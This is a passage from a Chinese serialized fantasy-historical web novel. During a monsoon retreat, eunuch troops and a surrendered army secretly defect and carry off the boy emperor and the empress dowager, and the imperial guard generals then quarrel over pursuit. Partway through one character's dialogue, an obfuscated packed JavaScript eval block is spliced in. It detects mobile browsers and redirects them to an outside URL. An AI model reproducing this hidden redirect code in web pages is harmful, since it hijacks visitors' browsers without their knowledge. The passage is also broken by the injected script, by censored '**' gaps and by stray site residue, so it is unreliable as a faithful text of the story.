且说,王焯从来没指望用举手这种事情来做决断……开什么玩笑,内侍这里,尤其是江都内侍这里又不是黜龙帮,有那种建帮时就兴起的传统,而且这个传统还让他们屡战屡胜,越来越壮大,所以习惯性遵从……江都内侍这里讲的是以往的内侍规矩、宫廷规矩,而以往的内侍规矩是什么呢? 答案是,这个群体内里如军队一般阶级分明,在意的往往是资历与身份,采用的是一种类似于大家族制度,“男”压制女,上压制下,长压制幼,只有在缺乏绝对领头者的情况下才会启用一定程度的内部高阶层**。可是呢,现在牛督公还在,他的修为、资历、身份摆在那里,天然就是这个群体的大家长。 牛督公不同意,什么都是胡扯! 那为什么王焯还要搞这个举手呢?还要让下面人搞这个煽动的手段? 答案很简单,这个手就是举给牛督公看的,王焯在用这种方式来向牛督公表达內侍军的存在感……毕竟,你牛督公的那根绳子不应该只拴着江都爷们的,也该拴着內侍军爷们的。 所谓內侍军的爷们也是爷们! 而只要牛督公公平的把自己绳子拴在所有内侍身上,在江都内侍缺乏内动力的情况下,內侍军足以牵着牛督公改变方向。 这也是为什么张行给了足够宽松条件的情形下,他王焯决心已定要留在这边的情形下,还要冒险过来的缘故。…. 不仅仅是要执行所谓黜龙帮的任务,不仅仅是要接应知世郎,不仅仅是要劝牛督公不要插手战事,他还想着更多,指望着牛督公心里拴着內侍军是一头,他王焯心里也拴着江都的爷们呢! 两人对视了一阵子,王焯虽然紧张,却丝毫没有退让,楼内原本颇显激昂的情绪也很快就冷了下来,几乎所有人都注意到了这两位的针锋相对。 而注意到以后,十五位队将中,居然渐渐有人想站起身来。 也就在这时,牛督公将目光一转,看向了这些人,然后忽然一笑:“既是大家都想去北面,那就去嘛,我一个没有牵扯的老头子,不跟你们走,还能如何?只还有件事……” 话到这里,牛督公也莫名萧索起来。 王余二人齐齐肃然。 余烩更是迫不及待:“督公请讲。” “大魏实际上已经亡了,咱们其实……老早就算是走自己的道了,但无论如何,太皇太后没有失德的举止,新皇帝,也就是原本是赵王,根本就是个孩子,在江都长大的,也没什么过失……我们不能拿他们当什么奇货可居。”牛督公认真以对。 余烩赶紧去看王焯。 后者稍作迟疑,给出了一个答复:“督公,我的意思是,咱们最好是只往前走,寻到机会闷头逃了就行,太后与皇帝如何,咱们统统不管!既不要主动拿捏他们,也不要因为他们处于什么险地而更改作为……因为接下来若真出了乱子,根本不是我们这些人能做局势的,咱们要保着自家人的平安为上。” 众人纷纷颔首,但也有人有些迟疑。 这个时候,不等牛督公开口,王焯继续来言:“不过,有一点我可以保证,那就是真出了乱子,然后太后与皇帝又拐到了黜龙帮的地盘,张首席却是讲道理的人,我们自当与他分说,尽量让太后与陛下有个体面。” 牛督公听到这里,反而点头:“正是此意,正是此意……有这句话就行了……你们去做吧。” 此时,王余二人并非大喜,反而只是如释重负。 翌日天明,也就是五月初六日,盘桓在涣口镇的禁军主力尾端也开始启程……分别是张虔达与另一位郎将带领的一支六千人禁军、如今颇受信任的知世郎所领的两千多知世军,以及刚刚投靠过来非要先见牛督公的王督公和他的两千內侍军,外加小皇帝、太皇太后、牛督公、江都内侍与宫人、文武百官。 此外,还有一位赵行密赵将军,却是陪着內侍军过来的,只他一人。 雨水没有停。 当然,这个季节,偶尔停一阵子雨也没什么意义,因为太阳也不会出来,而且路上到处都是泥,各处都是水,不管是脚还是车轮只要陷进去便是一个麻烦,什么材质的衣服也都好像刚洗过一样,一捏一把水,更不要说,任何稍微被空置的物件,只要一两个晚上就会神奇的长毛。…. 这还不算,因为是整个主力大队伍的末尾,他们还要经历更多更麻烦的东西,道路更泥泞倒也罢了,反正就那点泥,关键是现在泥里面掺杂着相当的人畜屎尿,一些青蛙、蚯蚓之类的尸体也屡见不鲜,以至于原本应该算是清新的潮湿空气中弥漫着一种隐隐让人作呕的味道。 但这依然不算什么,泥里的这些脏污加上之前经过士卒遗落丢弃的甲片、木刺,甚至是刀刃,那才是让人战战兢兢,所谓为了赶路而付出生命代价的东西。 所以,太皇太后与皇帝,包括宫人、大部分内侍、百官,原本是准备继续行舟的……按照规划,他们会沿着涣水继续走几日,抵达梁郡最南端的时候,再脱离船只,改从陆路西行进入淮西地区,再从那里北上东都。 这是早在江都便计划出来的一条路线,而且前面还算是比较顺利的(阻碍主要是**军事上的问题),可谁能想到,慢慢慢慢的,这路本身居然就这么难走了呢? 不说别的,当先一个,逆水行舟,可是要纤夫的。 “所以陛下与太后到底是坐船还是坐车?”五月雨中,王焯立在镇口的港湾处,面色阴沉,待见到赵行密出现后,语气更是明显不耐烦起来。“还请赵将军赶紧定下来,我去参见一番太后与陛下,咱们便立即动身。” 刚刚走过来的赵行密闻言也深吸了一口气,他已经后悔昨日跟过来了……倒不是因为王焯这幅梦回东都时代北衙督公的样子,而是对方问的这个问题本身确实是个问题! 且偏偏面对这个问题,王焯可以负手旁观,自己这个司马氏代言人兼政变核心却不得不过问。 “王督公。”赵行密硬着头皮来言。“我问过了,据说之前梅雨季节涣水也是能行舟的,但那是零散客商,现在大军走过,路面都坏了,想要行这么大的船队委实困难……而且也实在是找不到也来不及找那么多纤夫,除非让内侍们全都下船拉纤……” “那你去跟牛督公说呀。”王焯背着手直接打断了对方。“跟我说什么?我们內侍军这个营是正经黜龙帮编制的营,现在降过来也是兵,我们不拉纤。” 说完,直接把头扭了过去。 “那就麻烦了。”赵行密无奈至极。“江都那些内侍,根本拉不动船只……” 王焯干脆不出声了。 赵行密愈发无奈:“这样的话,只能跟陛下还有太后说清楚,然后请他们上车了。” “那就快点,反正是你们的事情。”王焯也愈发不耐了。“司马丞相把后军托付给你,你赵行密就这般拖拖拉拉?” 赵行密终于有了火气,但火气上来以后却又意识到,自己怎么对眼前这位发脾气都没有用,因为自己眼下并没有压制对方的手段……之前是有的,刚刚投降的时候,两千人塞在好几万主力大军中,屁都不是,捏扁揉圆都随意,不然这位王督公也不至于对司马化达那边那般小心翼翼,几乎声泪俱下说什么只想来汇集昔日宫中伙伴;对牛督公这里也是有一点应对手段的,因为牛督公本人需要尊重,可下面的江都内侍却是典型的手无缚鸡之力,素来也可以欺压。…. 但现在,王焯跟牛督公汇合在一起了,內侍军跟江都內侍们汇合在一起了,就既有高端战力又有正经成建制部队了,还掌握了一部分物资,这就有点麻烦了。 隐约中,赵行密似乎窥破了对方的用意,这应该就是内侍们的打算了。甚至他隐约觉得,这位王督公应该是在刻意激怒自己,好要借机发作,不管是强要內侍军来作纤夫还是要让江都内侍们来做,人家登时就会联合牛督公一起出来立威,取得行程决定权……一位督公,在外漂泊多年,虽说遇到张三那种人物是运道,可能在虎狼群中立身不倒,哪里会是眼下这般傲慢无知的样子,必是装出来的。 一念至此,赵行密干脆冷笑而去。 然而,事情不是那么简单的。 今早上的麻烦逻辑倒清楚: 坐船需要纤夫,但梅雨期间路和堤岸被泡坏了,一则不好拉纤,二则临时也找不到纤夫,于是去找內侍军,希望內侍军来拉纤;但內侍军坚决不干,赵行密等禁军忌惮现在腰杆子的内侍于是便只好弃船上岸;可是,陆路就好走了吗?仓促间哪来那么多车辆装载船上的东西跟人?而且这个路况车辆也不好走! 于是乎,赵行密与张虔达这两个能做主的商量了一下,赵行密是头疼,张虔达倒是干脆,后者的意思是直接把没用的物件扔了!包括船都沉了! 什么大内御用,又不是没扔过,当年太后跟这位王督公丢的更多! 而且,这次没必要便宜了黜龙贼,所以干脆全都扔进涣水口,堵塞河道。 赵行密本能觉得不妥……毕竟,涣水是经过多次疏通的,是贯通中原、东境、江淮的一大渠道,这沉了涣水口,南北交通的东线就断了,只能从汉水了……于是便努力来劝。 赵张二人,到底是赵行密修为更高,政变时出力更大,主导型更强,故此,张虔达虽然觉得对方装模作样,但还是忍耐,答应只将物件扔下,不做多余处理。 于是乎,折腾了半日,终于上路,却是让小皇帝与太皇太后下了船,共乘了一辆帷帐牛车,百官中几位年纪大的也都乘车,其余宫人内侍,包括百官中的低阶者,皆步行随行。 一开始牛督公还有些想维持皇家体面,但是赵行密认真说与他听后这位宗师督公也同样无奈……如果皇家体面这个时候只能用內侍们在烂泥里来换的话,那就没必要了。 就这样,折腾了许久,终于弃船换车,等王焯跑过来跟太后与皇帝匆匆见了面,行了礼,然后正式启程时,已经是中午时分。结果,那几辆车子走了不过七八里,坏了一辆还好说,扔那儿就行,关键是这几辆帷车上的丝绸质量过于好了,以至于车顶上很快就存满了水,再一晃,立即就把车上的人给浇了个透。…. 几位年纪大的文官先受不了,干脆撤了车上的帷幕,淋着雨赶路。太后也被浇了两次,又不好撤了帷帐,小皇帝无奈,只能在牛车上站起身来,伸手撑着车顶帷布,替他奶奶做个人形的伞柄,偏偏他年纪小,耐力不足,站一会便要坐下,然后反复来为,滑稽样子引得两侧前方的人时不时回头来看。 最后,还是牛督公看不过去,一股长生真气盘了过去,从外面盖住帷车,方才让小皇帝能坐下。 这还不算,走了一下午,因为行程过慢,到了天黑的时候,居然没有赶到预定的营地……这个环境可不敢露宿淋雨,于是众人不得不冒雨赶起夜路。 然而,这一走,怨气可就来了,尤其是禁军的六千人。 捱过一晚上,半夜来到宿营地,张虔达立即就跳脚,说明天要扔下这些累赘和杂牌降人自行西进,反正护卫皇帝的活应该是那什么知世郎的。 赵行密便来劝,说现在皇帝周边内侍军与知世军都是降人,不能把他们单独留在最后云云。 张虔达愈发气闷,只是勉强答应。 赵行密无奈,临时写了封信,让人提前送往前面,要求司马进达弄一封司马化达的正式丞相手令来,好对张虔达做约束,毕竟,他只是孤身到后面,这边的禁军都是张虔达的人。 而这封信送出去,回信的手令却居然隔了快两个整日,也就是五月初八日晚上才到,这个时候,队伍拖拖拉拉,居然才走出五六十里,距离梁郡最南端的转折点还有一大半路程。 这个速度,放在平日里行军简直想都不敢想。 然而,赵行密将手令递交给早已经焦躁到一定程度的张虔达后,稍一思索,居然失笑:“这么一算,咱们走的不慢了。” 张虔达在火堆旁单手接过手令,却只看了几眼,便随手扔进了眼前的火堆里,然后冷笑以对:“你在这说什么风凉话?敢情不是你的兵,你不心疼?” “就是因为晓得我的兵其实也这样,这才笑的。”赵行密略显无语的解释道。“你算算就知道了,手令里说,他们已经进入梁郡,还有两日,也就是估计明日到谯郡南头的山桑县休整,那假若以山桑为标的,咱们三天大约走了三成的路,可其他部队呢?他们花了几日?” 张虔达愣了一下,想了一想,给出答复:“最前头的最快,四五日就到了,正经的行军流程,往后,以司马丞相他们为准,却走了七日……咱们可能要十日……大家越来越慢,都不好走。” “不是慢的事。”赵行密无奈道。“我还是忧心黜龙帮,部队被雨淋成这个鬼样子,若是黜龙帮来打,咱们如何抵挡?” “抵挡个屁!”张虔达脱口而对。“咱们淋雨,他们不淋?为什么把我们放在最后,不就是担心跟之前那段路一样摩擦吗?可你看看,这几日可有人来?我说句实在话,这雨是招人厌,但人家跟三辉一般都是一视同仁的!”…. 赵行密想了想,点点头:“这倒是实话。” 其实,赵行密心中所想的却是更复杂了一点……他觉得,黜龙军退到人家自家的城市内休整,肯定比眼下禁军这个鬼样子要强,真要是再来袭扰,那相较于前段时间对抗占优的局面,现在的禁军肯定要吃大亏的……但是,雨下成这样,却基本上确保了黜龙帮不可能在五月之后再有休整好的成建制援军南下,这就确保了禁军的总体战略性安全。 所以,这雨确实是公平的。 只不过,这个思路就没必要细细跟情绪不好的张虔达再说了,省的这厮无端生事。 一念至此,赵行密便起身告辞,往营地中做巡视去了。 说实话,尽管这几日他一直都在留意,但每次探查禁军的后勤保障时都会心惊肉跳: 三个人才能分到一个帷帐,还基本上是湿透的,只是大家背靠背躲雨取暖,病号在里面更是只能苦捱。 锅倒是齐整,十人一口锅少有损坏,但严重缺乏燃料,这点真没办法,因为沿途城镇的房子都被前面禁军给拆光了,营地原本的栅栏也被刨了烧掉,周围野地里全都是绿色,根本就是找不到燃料。 粮食一团糟,而且赵行密是第一次见到这种模式的粮食损耗——按照大魏禁军规制,除了集中的后勤运输外,还要每人背一个麸袋,里面装个十来斤磨好的麦麸、米粉之类,一则为了行军方便,二则为了军士能及时快速得到补给,结果现在全都被雨浇透,继而泡胀,有的从里面发热发霉,带着一股馊味,不怕死都还能吃,最让人发懵的是,居然有整个袋子被撑爆掉的情况。 锥子、钳子、矬子、钻子都还好,火石是十不存一。牲口还有,但基本是都已经沦为驮兽。 鞋子是损耗最严重的,按照东都时的条例,禁军本来每年可以有三双靴子,两双六合靴,一双冬靴,但在江都荒废四年,六合靴基本上只有军官才能每年发了,所以军中都是旧靴子,很多人都穿草鞋……这倒不是连布鞋都不发,实在是布鞋禁不住泥路糟蹋,军士们干脆将布鞋挂在身上……而现在赵行密细细来看,却发现连草鞋都艰难了起来,因为路边没有那种坚韧的长草了! 这一点都不荒诞,禁军折返,抛开一头一尾两万多人,中间的核心禁军主力也有足足五六万,加上随军的百官、宫人、内侍,还有得到了军士待遇的工匠,以及新降之人,十万人总是差不多的,这些人未必是沿着一条官道走,也未必会蓄意屠城、掠夺什么的,却足以对沿途城镇以及自然环境造成巨大破坏。 这点从**人皇帝获得**人这个外号的过程便可见一斑,那时候天下太平,各地都有仓储,官道平整,可几万人沿着天下腹心之地走一遭,便足以造成巨大的不可逆的破坏,遑论眼下。…. 但赵行密不是个心怀天下的人,他只忧心自己的处境,而现在又因为在禁军这艘大船上,所以忧心禁军的处境。 在营地里探查完毕,这位刚刚做了一个多月右威卫将军的禁军宿将,并没有直接去睡觉,而是停在了营地的西南侧,站在那里发呆……雨水毫无意义的稍驻,吸引赵行密的是自彼处飘来的零散雾气。 其人望着雾气,始终难以放下心中忐忑。 没办法,真的没办法,禁军现在看起来强大,但别人不知道,**吗? 内里自是千疮百孔。 从今年春末开始,禁军依次经历了最出色大将的出走、弑君、一次平叛和一次**,然后迎来了一位只知道**的丞相还有忽如其来且又来源驳杂的降人,现在又经历了上百里战线上的骚扰,以及眼前最麻烦的梅雨。 至于内部山头林立,大小军头相互妥协、对抗、抱团,就更是传统艺能了。 这些东西,加上四年的蹉跎,使得原本傲视天下的禁军战斗力大打折扣。 这一点,禁军内部的人都知道……只不过,为什么其他人都只是烦躁不安,而他赵行密却忧心忡忡呢? 原因不言自明,主要是之前驻扎在淮口以及更早之前与黜龙帮交手的经历,让赵行密意识到,黜龙帮不好惹,而且上上下下都不好惹,文的武的都不好惹……他很怀疑,黜龙帮会不会看清楚禁军的“大打折扣”,然后忽然咬过来!而且,当黜龙帮真的咬过来的时候,禁军到底能不能支撑? 毕竟,其他人都觉得,就算是禁军战斗力大打折扣,可主力尚存,对付一个刚刚在河北打过大仗的黜龙帮还是没问题的,或者说,大不了闭着眼走过去嘛。 这个雾起的真不是时候。 “这雾可有名了。” 就在这时,王焯忽然出现在赵行密的身后,主动解释。“据说是当年青帝爷除去了淮水原生的真龙,以至于淮水无主,呼云君原本在江口盘桓,听到消息后便想占据淮水,结果来到这里,却发现赤帝娘娘祖上一位妖族圣主已经到了淮水南岸的涂山,还要以彼处为据点,疏浚淮水,扩展良田……呼云君晓得这个妖族是要大气运的,委实无奈,只能躲到涂山上,长呼三息而走,从此涂山,还有涂山对面的淮水北岸,便常常起雾。” 赵行密回过头来,眉头皱得发紧:“王公公也信这些故事?我怎么觉得这雾气是西南边的三汊泽冒出来的呢?水汽又重,天又热,雨一停就出雾吧?” 王焯大笑:“我也觉得是三汊泽冒出来的,只不过看到赵将军深夜皱眉,才说了个典故。” 赵行密闻言非但不笑,反而更加严肃:“我前日早上的时候,竟不知王公公这般待人随和。” “此一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167978|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时彼一时也。”王焯怡然自得。“那时候我们內侍军刚刚把粮食交给了前面的司马丞相,若是当时我再稍微软弱一点,说不定就要害自家儿郎真去拉纤,现在连车子都坏的差不多了……事到如今,总不能让我们內侍军扛着禁军走吧?那自然就能与你赵将军说什么雾气了。”…. 赵行密摇头不止,却又忽然来问:“王公公,你果真是真心愿意离开黜龙帮的吗?” “什么意思?”王焯状若不解。 “我觉得你们內侍军留在北面,未必就比回东都差。”赵行密幽幽以对。 王焯欲言又止,只是干笑。 而下一刻,赵行密继续来言:“你想想,现在的局面,是黜龙帮、英国公、司马氏、萧氏四家的局面,虽说结果不定,但哪一家要做皇帝,怕是都要内侍的,你们分开各寻一处结果,岂不更好?” 王焯愣了半晌,然后负手嗤笑一声,便去看雾,根本懒得与对方言语。 赵行密见状,虽不知道自己到底哪里说错了话,却多少晓得对方态度,也干脆摇头不语。 就这样,二人看了一会雾气,随着又一团雾飘来,王焯率先转身离开,倒是赵行密又继续立了一会……须臾,这位右威卫将军也觉得无聊,便准备回去休息……但刚一转身,他却好像在雾中隐约听到了一个叹气声。 且说,赵行密自是一位成丹高手,胆大且目光如炬,他淡然回头一扫,越过雾气看的清楚,周围并无异样,便只当是沼泽里起了水泡,再加上心中有事,只不做理会,兀自回去了。 其人既走,却不晓得,先走一步的王焯已经寻到了知世郎,并制定了计划的最后一环。 翌日再度启程,这支队伍正式离开了涣水沿岸的官道,转而向西北面走向了单纯的陆路,因为车辆损毁,这次连皇帝都得步行,太皇太后则由几名有修为的內侍轮流背着赶路,这一日没有下雨,走的意外的快了些。 到了五月初十,雨水再度下了起来,而且特别大,下午时分,队伍遭遇了一次黜龙帮哨骑,后者观察了片刻后,一个呼哨就消失了,这让憋了一肚子火的张虔达根本没来得及动手,以至于更加愤怒。 这日晚间,因为禁军尝试抢夺宫人的行为,发生了禁军、內侍军、知世军的混乱冲突,张虔达本想借机发作,却被赵行密努力劝住。 后者的原话是,真闹起来,不知道难看的是谁。 五月十一,部队进入谯郡境内,这一日得病的人很多。 五月十二,傍晚,雨水中,这支队伍抵达了山桑城。 这么说可能有点不准确,因为他们跟山桑城之间还有一条在梅雨季节显得稍微有些宽阔与湍急的河水——涡水。 这是跟涣水、淝水、颍水、汝水并列的淮北支流,理论上它是几条河中最小的一支,但依然是正经的淮水支流,依然是宽阔超百步的河流,之前军队随意往来的睢水则是支流的支流,根本就不是一回事。 “歇一晚上吧!”几位军中领头人临河而对,王焯第一个下了定论。“不可能摸黑过浮桥的。” “也只能如此。”赵行密叹了口气。…. “赵将军过河去吧。”张虔达嘴角燎泡,提出了一个建议。“去城里歇一晚上,你的兵不在这里,没必要跟我们在外面耗……把皇帝与太后也带过去,省心了。” 赵行密一时心动……饶是他作为一名成丹高手,这些日子也被梅雨折磨的够呛,再加上军中缺衣少食,臭气熏天,谁不想睡个舒坦觉? 而就在这时候,素来沉默寡言的知世郎王厚忽然开口反对:“皇帝跟太后是丞相交给俺来看管的,赵将军自己去就行了。” “知世郎,若不是你的人路上惹事,在路口鼓噪,咱们今晚上本可以全都入城的!如何还来聒噪?”赵行密没有开口,张虔达先发作了。 “俺能怎么办?”身形粗矮的王厚闻言涨红了脸,身上的全是泥的披风也抖了起来。“俺虽是一心投了司马丞相,可俺军中有想家的,不想去淮西安置,俺能怎么办?” “总得把**的都杀了!”张虔达面目狰狞,嘴角的燎泡居然随着他的表情动作破了一个。“不然谁知道还会出什么事……你今晚上非要把皇帝和太后留在这边,明日他们裹挟了太后与皇帝投了黜龙贼也说不定!” “你不要胡扯,这些兵马都是俺的根本,要是因为几句话就动手杀了人,才是闹出祸乱的缘由!”王厚面色愈发红了起来。“至于他们要是真想跑,真想裹了皇帝跑,俺自会处置!” “赵将军。”张虔达还想说话,王焯却忽然插嘴。“依着我看,你还是留下吧……不然,皇帝没被偷走,这两位反而要火并的。” 赵行密无奈,只能点头。 当然,这一晚上并没有火并,也没有知世军**,只是一如既往的疲惫、争吵,外加各种怪气熏天。 赵行密忍了一夜,翌日一早,又耐着性子在细雨中等全军吃完某种奇怪糊糊为主的早餐,便迫不及待主持起了过河事宜。 浮桥是前军留下来的,现成的,禁军理所当然争相先过。 然而,过了一两千人,另外一位郎将到了对岸接应,赵行密稍微得闲的时候才注意到,知世军与內侍军还在紧锣密鼓收拾东西,却全都约束妥当,并无人过来争抢浮桥。 犹豫了一下,赵行密决定过去干涉一下……倒不是他如何好心让对方先走禁军殿后什么的,而是职责所在,要让一部分知世军护卫皇帝和太后先过去,内侍军也可以护卫着百官过去。 “赵将军,你怎么来了?” 出乎意料,这次王焯的反应比较主动。 赵行密自然没什么可遮掩的,便将自己来意道出:“禁军已经过去不少了,是不是可以让陛下、太后还有文官们过去?” “自然。”王焯点点头,回头相顾身后被雨淋到面色发白的余烩。“余公公,你先去知会一声知世郎,让他自家做好准备,然后去喊督公过来,得让督公亲自护送陛下与太后过河,下雨浮桥是滑的,省得出乱子……”…. 余烩会意离去。 然后王焯再来相对赵行密:“六千禁军,先过去四千,总得让张虔达把县城抢了他才能顺了气,然后让督公看顾着知世郎领着几队人护送陛下和太后过去,再过其余禁军,然后知世军,我们內侍军带着百官可以放在最后……今日总得赶路,总不能睡在这县城里吧?” 赵行密甚至有些不好意思,只是讪讪:“张将军只是被落在全军最后,再加上雨水委实难熬,有些不爽利罢了,不是针对几位……” “无所谓。”王焯摆手。“本就不是一路人,倒是赵将军你非得凑过来,将来路上不免显得奇怪。” “等进了淮西,最晚入了东都,你让我凑我也不凑。”赵行密幽幽以对。“王公公以为我是主动揽了送你们这个活吗?我这是整日在司马丞相面前说要小心黜龙帮,惹烦了司马丞相,被发配过来的。” 王焯愣了一下,反而失笑:“倒是真没往这里想,只以为你是来监军的……” 赵行密只是摆手。 过了好一阵子,牛督公与余烩方到,几人就在王焯的內侍军营中有一搭没一搭闲聊,然后看着禁军过河,然后直接涌入县城,看着知世军和內侍军,包括内侍宫人们做好轻装行军的准备在那里干等。 最终,眼见着禁军过得数量差不多了,赵行密终于主动开口:“可以了,禁军得过去四千多了,咱们也过去吧……过去后不要理会城里的禁军,直接护着陛下与太后向西赶路。” “是差不多了,走吧!”王焯点点头,然后回头去看牛督公。“督公,你也看到了,是赵将军非要找咱们,没办法,辛苦你一回。” 牛督公一声不吭,只负着手看了看王焯,然后去看赵行密。 赵行密不敢怠慢,赶紧拱手:“辛苦督公了。” 牛督公长呼了口气,终于也点头:“今天才知道什么叫箭在弦上,不得不发……事已至此,咱们走吧!赵将军也走!” 赵行密听到前半句还有些懵,后半句却似乎回过劲来,便又要拱手。结果,下一刻,其人面色突变,因为一股熟悉的长生真气莫名从自己脚下冒了出来,正如当日缠住那只摩云金翅大鹏一般,轻易缠住了自己的脚踝。 这还不算,就在他准备质问对方之前,这位被真气卷起来的右威卫将军便亲眼看到了答案,继而瞠目结舌于半空中——涡水东岸的营地中,知世军、江都内侍宫人们俨然得到通知,几乎是一起打开了营门,却是早有准备,簇拥着皇帝、太后和江都百官们蜂拥往东北面而去! 那里是黜龙帮腹地! 王厚与王焯都是黜龙贼的内应! 这还不算,脚下的內侍军营地中,两千內侍军却丝毫不慌,居然整齐有序,分队列阵,或持**或举刀盾,向着浮桥方向做出了防御姿态,然后有序后退,以作掩护。 浮桥那边,禁军们明显愣了一下,毕竟还有一千多禁军没有渡河,他们不可能不被这边动静给惊到的……但是很快,这些人便更加快速的涌向了浮桥。 看到这一幕的赵行密被拉扯到了半尺高的空中,然后随着这些內侍军缓缓有序向北,却是不由叹了口气。 说来奇怪,让这位右威卫将军感到沮丧的直接原因并不是他被真气封了嘴,不能开口呼救;也不是他自投罗网的阴差阳错;同样不是他中了王焯和王厚的计策,六七日同行却没有察觉;而是一个很小的事情,也就是刚刚那一瞬间,他在空中看到剩余禁军在雨中蜂拥去抢浮桥。 毕竟,赵行密心知肚明,这些禁军不可能在一瞬间就察觉到了事情原委然后慌忙逃窜的,那些禁军只是听到动静,以为內侍军和知世军要抢他们浮桥不想让出来罢了。 换句话说,即便是王焯和王厚都没问题,他今天早上按部就班安排好的渡河顺序也会失控。 禁军这里,什么都会失控,再妥当的安排都会失控……这实在是让人沮丧。 (本章完) 39314630. ... 第二十四章风雨行(24) 五月十三日上午,涡水东岸,黜龙帮内应知世军与內侍军一起发动,利用行军渡河造成的局部控制权,裹挟了江都内侍、宫人、百官、皇帝、太后,往北面而去。 这个时候,雨水并不是特别急,涡河对岸的山桑城内,作为禁军宿将之一的张虔达很快便察觉到了不对,然后迅速意识到了可能的情况……或者说不需要做「可能」的假设,因为军队自有军队的逻辑……两支刚刚投降没几天的部队在行军途中忽然脱离队列,带领着皇帝跟太后往旧主那里去跑,那就只能当做叛变! 但是,张虔达立在城头,却没有去追。 理由当然很多,他怕死,这个情况谁知道牛督公是不是也叛了,过河去追被捏死怎么办? 皇帝和太后怎么办?万一死在军中,不是自己也是自己的锅好不好?小皇帝和太后虽然不是事,但也要大家一起扛,自己一个人可抗不了。 而且,打得过吗?对方四千兵,自己六千兵,兵力是自己占优,而且对面的那个王厚似乎修为不高,王焯就算是凝丹了也没有战斗经验……但对方有牛督公啊,也不知道赵行密这厮去哪儿了……最关键的是,人家有接应怎么办?遇到黜龙军怎么办? 随便来一个营,或者说,只要自己敢去追击,却短时间分不出胜负,对方肯定有支援过来的,那到时候自己岂不是在涡水东岸成了一支孤军? 当然,这些念头只是在脑中一闪而过,因为这些理由都无须纳入真正的考量,只是脑中的思索过程而已,张虔达有着更加明显和理所当然的理由来做选择。 「张将军,咱们要不要去追一追?」跟着张虔达的周郎将有些心慌,这位鹰扬郎将还是按照基本的思路来看问题。「这要是丢了皇帝跟太后不管,咱们会不会被军法从事?」 「谁军法我们?」张虔达不耐回头。「司马丞相难道跟那个**人一样随便**吗?还杀领兵大将?」 「那……」 「不是我们不追。」张虔达指着浮桥前后拥堵的军士叹道。「这个局面,一个时辰内,你能收拢好部队重新列阵吗?」 「勉强吧……我估计还要久一些。」周郎将回首望了下有些嘈乱的城内,彼处早已经因为之前大军多次经历变得空荡荡甚至于脏兮兮了,自然引得涌入城内的军士们不满。 「然后呢?」张虔达继续冷冷来看对方。「然后你觉得你能把这些人再撵回涡河对岸去做追索?」 周郎将一愣,旋即醒悟,不由苦笑以对:「还是张将军看的透,除非告诉他们,大***向,要改从北面荥阳回去了,北面有不发馊的粮食,有黜龙军攒了四年的钱帛,还有洗热水澡的地方……否则,便是四御下凡也难赶这些军士回头!」 张虔达闻言反而一愣,但仅仅是一愣,便肃然相对:「事到如今,总要给司马丞相一个交代……老周,你在这里守好城池和浮桥,收拢好部队,顺便找一找赵将军的踪迹,我飞速走一遭,去见司马丞相请罪。」 「只能如此。」周郎将连番点头。「只能如此。」 张虔达点点头,望了望雨幕中头也不回的叛军,匆匆转身离去,乃是挑了一匹马,几乎孤身而走。 张虔达还是有一些小聪明的,他并没有直接去见司马化达,而是一路向西,沿途遇到每一拨禁军队列都停下来,与对应的禁军首领汇合,并说明情况——既说明內侍军与知世军叛离并拐走了皇帝、太后的事实,又辨析了军心士气无法有效追击的无奈,同时讨论了赵行密可能是黜龙帮内应的重大新闻! 没错! 知世军这群琅琊贼不可靠,知世郎这个三征最先冒出来的反贼不可靠,大家全都知道,也就是司马丞相当了丞相,看到有人愿意这么直白 奉承他,这才昏了头,以为是个忠臣……实际上,从张虔达部的行军序列就知道,其余人都防着这个呢。 只不过没起作用罢了。 内侍军居然没跟着牛督公去东都,竟把牛督公这些人给反过来拐走了,虽然一时让人惊异,但仔细想想也是有些路数的,人家毕竟算一家,属于预料之外情理之中。 但是,赵行密这厮浓眉大眼的,也算是军中宿将,又是这次兵变的主力,竟然也是黜龙军的内应,这真真让人不寒而栗了! 「赵行密是黜龙贼内应?!」 当日夜间,花了一整日的时间,张虔达才和一路上汇合的十余名禁军将领抵达了淝水对岸,并在这里的一个小镇子里找到了禁军主帅,也就是司马兄弟,而大约说完情况,丞相司马化达还在发懵呢,右仆射司马进达已经暴怒了。「张虔达,你晓得你在说什么吗?!你若说你投了黜龙贼我还信一些!」 满身水汽的张虔达一惊,登时便吓得说不出话来。 倒是旁边跟来的几位将军,此时七嘴八舌,竟有两人主动上前护住张虔达,然后毫不犹豫来做驳斥: 「右仆射说什么胡话,张将军若是投了贼如何孤身在眼下?」 「倒是赵行密,虽说也不敢断言,可军中失了踪迹,又有在贼军反叛之前主动入叛军营地的事情,便不是内应也十之**被挟持了!」 「那就是被挟持或者裹挟了。」司马进达一个措手不及,赶紧解释。「牛督公的本事在那里,赵将军又能如何?诸位,赵将军须是正经一卫将军,不能轻易说反。」 「现如今一卫将军算什么皇帝跟太后被黜龙贼一锅端了,大魏都没了!」 「军中的规矩,凡事从疑……」 「若按照右仆射的意思,那知世郎也是一个正经郎将,是不是因为皇帝和太后被挟持而囿于职责被裹挟了呢?牛督公更是北衙大督公,算不算被內侍们裹挟了呢?內侍们是不是又被王焯裹挟了?王焯又被张行裹挟了?岂不是都是好人,没了个计较?!」 「不错,军中自有律令,只要走了,就是反叛!」 「右仆射为什么这么遮护此人?」 刚刚爬起来的司马进达也有些懵了,首先当然是事发突然,其次是他不理解为什么这些人反应那么大,是针对赵行密,还是针对自己,又或者是针对自家兄长?总不能是为了维护张虔达吧? 「这个事情无所谓。」就在这时,一开始发懵的丞相司马化达倒似乎回过神来了,突然出言安抚。「既是走了就先当他叛了,若是日后回来,自然可以再听他说曲折,看要不要赦免……现在的关键是,假设按照大家的意思,后面的知世军跟內侍军裹了赵将军、牛督公、皇帝、太后一起反了,咱们怎么办?要不要追?」 而司马化达既问,周围又是一片喧嚷。 「总得去追,没了皇帝和太后,我们算什么」 「我们自是我们,皇帝和太后算什么?给黜龙贼便给了!」 